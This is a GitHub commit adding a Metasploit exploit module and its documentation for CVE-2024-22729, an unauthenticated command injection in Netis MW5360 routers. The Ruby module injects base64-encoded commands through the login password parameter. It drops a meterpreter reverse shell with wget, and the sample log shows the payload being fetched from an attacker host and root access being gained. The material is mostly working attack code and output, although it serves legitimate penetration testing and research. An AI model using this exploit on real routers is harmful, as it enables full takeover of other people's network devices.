Skip to content

Commit 24fa34e

Browse files
Land rapid7#19188, Netis MW5360 unauthenticated RCE [CVE-2024-22729]
2 parents b4c2aba + 4e26704 commit 24fa34e

File tree

2 files changed

+378
-0
lines changed

2 files changed

+378
-0
lines changed
Lines changed: 240 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
## Vulnerable Application
2+
Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.
3+
The vulnerability stems from improper handling of the `password` parameter within the router's web interface.
4+
The router's login page authorization can be bypassed by simply deleting the authorization header,
5+
leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.
6+
7+
Attackers can inject a command in the `password` parameter, encoded in base64, to exploit the command injection vulnerability.
8+
When exploited, this can lead to unauthorized command execution, potentially allowing the attacker
9+
to take full control of the router as user `root`.
10+
11+
The following Netis network products are vulnerable:
12+
- MW5360
13+
14+
## Installation
15+
Ideally, to test this module, you would need a vulnerable GL.iNet device.
16+
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
17+
we can simulate the router and test the vulnerable endpoint.
18+
19+
This module has been tested via FirmAE running on Kali Linux 2024.5 at the following emulated targets:
20+
* Netis router model MW5360 with firmware V1.0.1.3442
21+
* Netis router model MW5360 with firmware V1.0.1.3031
22+
* Netis router model MW5360 with firmware RUSSIA_844
23+
24+
### Installation steps to emulate the router firmware with FirmAE
25+
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
26+
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
27+
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
28+
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
29+
* Download the vulnerable firmware from Netis [here](https://www.netisru.com/Suppory/de_details/id/1/de/136.html).
30+
* We will pick `MW5360-1.0.1.3442.bin` for the demonstration.
31+
* Start emulation.
32+
* First run `./init.sh` to initialize and start the Postgress database.
33+
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin`
34+
* This will take a while, but in the end you should see the following...
35+
```shell
36+
# ./run.sh -d netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin
37+
[*] /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin emulation start!!!
38+
[*] extract done!!!
39+
[*] get architecture done!!!
40+
mke2fs 1.47.0 (5-Feb-2023)
41+
e2fsck 1.47.0 (5-Feb-2023)
42+
[*] infer network start!!!
43+
44+
[IID] 118
45+
[MODE] debug
46+
[+] Network reachable on 192.168.1.1!
47+
[+] Web service on 192.168.1.1
48+
[+] Run debug!
49+
Creating TAP device tap118_0...
50+
Set 'tap118_0' persistent and owned by uid 0
51+
Bringing up TAP device...
52+
Starting emulation of firmware... 192.168.1.1 true true 42.470578245 42.470578245
53+
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
54+
import telnetlib
55+
[*] firmware - Netis_MW5360-1.0.1.3442
56+
[*] IP - 192.168.1.1
57+
[*] connecting to netcat (192.168.1.1:31337)
58+
[+] netcat connected
59+
------------------------------
60+
| FirmAE Debugger |
61+
------------------------------
62+
1. connect to socat
63+
2. connect to shell
64+
3. tcpdump
65+
4. run gdbserver
66+
5. file transfer
67+
6. exit
68+
```
69+
* check if you can `ping` the emulated router and run `nmap` to check the ports
70+
```shell
71+
# ping 192.168.1.1
72+
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
73+
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=9.2 ms
74+
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=3.18 ms
75+
^C
76+
--- 192.168.1.1 ping statistics ---
77+
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
78+
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
79+
# nmap 192.168.1.1
80+
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 10:16 UTC
81+
Nmap scan report for 192.168.1.1
82+
Host is up (0.0026s latency).
83+
Not shown: 997 filtered tcp ports (no-response)
84+
PORT STATE SERVICE
85+
22/tcp open ssh
86+
80/tcp open http
87+
443/tcp open https
88+
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
89+
90+
Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds
91+
```
92+
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.1.
93+
94+
## Verification Steps
95+
- [x] Start `msfconsole`
96+
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_22729`
97+
- [x] `set rhosts <ip-target>`
98+
- [x] `set lhost <ip-attacker>`
99+
- [x] `set target <0=Linux Dropper>`
100+
- [x] `exploit`
101+
102+
you should get a `Meterpreter` session.
103+
104+
```msf
105+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > info
106+
107+
Name: Netis router MW5360 unauthenticated RCE.
108+
Module: exploit/linux/http/netis_unauth_rce_cve_2024_22729
109+
Platform: Linux
110+
Arch: mipsle
111+
Privileged: Yes
112+
License: Metasploit Framework License (BSD)
113+
Rank: Excellent
114+
Disclosed: 2024-01-11
115+
116+
Provided by:
117+
h00die-gr3y <[email protected]>
118+
Adhikara13
119+
120+
Module side effects:
121+
ioc-in-logs
122+
artifacts-on-disk
123+
124+
Module stability:
125+
crash-safe
126+
127+
Module reliability:
128+
repeatable-session
129+
130+
Available targets:
131+
Id Name
132+
-- ----
133+
=> 0 Linux Dropper
134+
135+
Check supported:
136+
Yes
137+
138+
Basic options:
139+
Name Current Setting Required Description
140+
---- --------------- -------- -----------
141+
CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
142+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
143+
RHOSTS 192.168.1.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
144+
using-metasploit.html
145+
RPORT 80 yes The target port (TCP)
146+
SSL false no Negotiate SSL/TLS for outgoing connections
147+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
148+
TARGETURI / yes The Netis MW5360 router endpoint URL
149+
URIPATH no The URI to use for this exploit (default is random)
150+
VHOST no HTTP server virtual host
151+
152+
153+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
154+
155+
Name Current Setting Required Description
156+
---- --------------- -------- -----------
157+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on.
158+
This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
159+
SRVPORT 8080 yes The local port to listen on.
160+
161+
Payload information:
162+
163+
Description:
164+
Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.
165+
The vulnerability stems from improper handling of the "password" parameter within the router's web interface.
166+
The router's login page authorization can be bypassed by simply deleting the authorization header,
167+
leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.
168+
Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection
169+
vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker
170+
to take control of the router.
171+
172+
References:
173+
https://nvd.nist.gov/vuln/detail/CVE-2024-22729
174+
https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729
175+
https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md
176+
177+
View the full module info with the info -d command.
178+
```
179+
## Options
180+
### CMD_DELAY
181+
Chained command lines using `;` do not work, so each command need to be executed in a separate request
182+
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
183+
184+
## Scenarios
185+
### Netis MW5360 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
186+
```msf
187+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set target 0
188+
target => 0
189+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set rhosts 192.168.1.1
190+
rhosts => 192.168.1.1
191+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set lhost 192.168.1.2
192+
lhost => 192.168.1.2
193+
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit
194+
195+
[*] Started reverse TCP handler on 192.168.1.2:4444
196+
[*] Running automatic check ("set AutoCheck false" to disable)
197+
[*] Checking if 192.168.1.1:80 can be exploited.
198+
[+] The target appears to be vulnerable. Netis(MW5360)-V1.0.1.3442
199+
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
200+
[*] Using URL: http://192.168.1.2:8080/IbZMnLDC
201+
[*] Executing wget -qO /tmp/kgfXdZZW http://192.168.1.2:8080/IbZMnLDC
202+
[*] Client 192.168.1.1 (Wget) requested /IbZMnLDC
203+
[*] Sending payload to 192.168.1.1 (Wget)
204+
[*] Executing chmod +x /tmp/kgfXdZZW
205+
[*] Executing /tmp/kgfXdZZW
206+
[+] Deleted /tmp/kgfXdZZW
207+
[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.1:43254) at 2024-05-19 11:51:21 +0000
208+
[*] Command Stager progress - 100.00% done (112/112 bytes)
209+
[*] Server stopped.
210+
211+
meterpreter > getuid
212+
Server username: root
213+
meterpreter > sysinfo
214+
Computer : 192.168.1.1
215+
OS : (Linux 4.1.17+)
216+
Architecture : mips
217+
BuildTuple : mipsel-linux-muslsf
218+
Meterpreter : mipsle/linux
219+
meterpreter > pwd
220+
/etc/boa
221+
meterpreter > ls
222+
Listing: /etc/boa
223+
=================
224+
225+
Mode Size Type Last modified Name
226+
---- ---- ---- ------------- ----
227+
100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
228+
100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
229+
230+
meterpreter >
231+
```
232+
## Limitations
233+
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
234+
Another limitation is that the router has a very limited command set that can be leveraged,
235+
so the only option is to use the `wget` command to drop an executable on the target to get a session.
236+
Chained command lines using `;` do not work, so each command need to be executed in a separate request
237+
with delay of 30 seconds of more to avoid session locking (see the `CMD_DELAY` option).
238+
239+
Last but not least, be mindful that the admin router password gets overwritten by the exploit,
240+
resulting in a clear indicator of comprise.
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::FileDropper
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Netis router MW5360 unauthenticated RCE.',
19+
'Description' => %q{
20+
Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.
21+
The vulnerability stems from improper handling of the "password" parameter within the router's web interface.
22+
The router's login page authorization can be bypassed by simply deleting the authorization header,
23+
leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.
24+
Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection
25+
vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker
26+
to take control of the router.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
31+
'Adhikara13' # Discovery of the vulnerability
32+
],
33+
'References' => [
34+
['CVE', '2024-22729'],
35+
['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'],
36+
['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md']
37+
],
38+
'DisclosureDate' => '2024-01-11',
39+
'Platform' => ['linux'],
40+
'Arch' => [ARCH_MIPSLE],
41+
'Privileged' => true,
42+
'Targets' => [
43+
[
44+
'Linux Dropper',
45+
{
46+
'Platform' => ['linux'],
47+
'Arch' => [ARCH_MIPSLE],
48+
'Type' => :linux_dropper,
49+
'CmdStagerFlavor' => ['wget'],
50+
'DefaultOptions' => {
51+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
52+
}
53+
}
54+
]
55+
],
56+
'DefaultTarget' => 0,
57+
'DefaultOptions' => {
58+
'SSL' => false,
59+
'RPORT' => 80
60+
},
61+
'Notes' => {
62+
'Stability' => [CRASH_SAFE],
63+
'Reliability' => [REPEATABLE_SESSION],
64+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
65+
}
66+
)
67+
)
68+
register_options([
69+
OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]),
70+
OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30])
71+
])
72+
end
73+
74+
def execute_command(cmd, _opts = {})
75+
# cleanup payload file when session is established.
76+
if cmd.include?('chmod +x')
77+
register_files_for_cleanup(cmd.split('+x')[1].strip)
78+
end
79+
# skip last command to remove payload because it does not work
80+
unless cmd.include?('rm -f')
81+
payload = Base64.strict_encode64("`#{cmd}`")
82+
print_status("Executing #{cmd}")
83+
send_request_cgi({
84+
'method' => 'POST',
85+
'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'),
86+
'vars_post' => {
87+
'password' => payload,
88+
'quick_set' => 'ap',
89+
'app' => 'wan_set_shortcut'
90+
}
91+
})
92+
end
93+
end
94+
95+
def check
96+
print_status("Checking if #{peer} can be exploited.")
97+
res = send_request_cgi({
98+
'method' => 'POST',
99+
'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'),
100+
'vars_post' => {
101+
'mode_name' => 'skk_get',
102+
'wl_link' => 0
103+
}
104+
})
105+
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version')
106+
107+
# trying to get the model and version number
108+
# unfortunately JSON parsing fails, so we need to use this ugly REGEX :-(
109+
version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/)
110+
# when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison
111+
unless version.nil?
112+
version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop
113+
# The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D
114+
if version[2].upcase.split('-V')[0].include?('-')
115+
model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '')
116+
else
117+
model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '')
118+
end
119+
# Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower
120+
if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442'))
121+
return CheckCode::Appears(version[2].chop.to_s)
122+
end
123+
124+
return CheckCode::Safe(version[2].chop.to_s)
125+
end
126+
CheckCode::Safe
127+
end
128+
129+
def exploit
130+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
131+
case target['Type']
132+
when :linux_dropper
133+
# Don't check the response here since the server won't respond
134+
# if the payload is successfully executed
135+
execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY'])
136+
end
137+
end
138+
end

0 commit comments

Comments
 (0)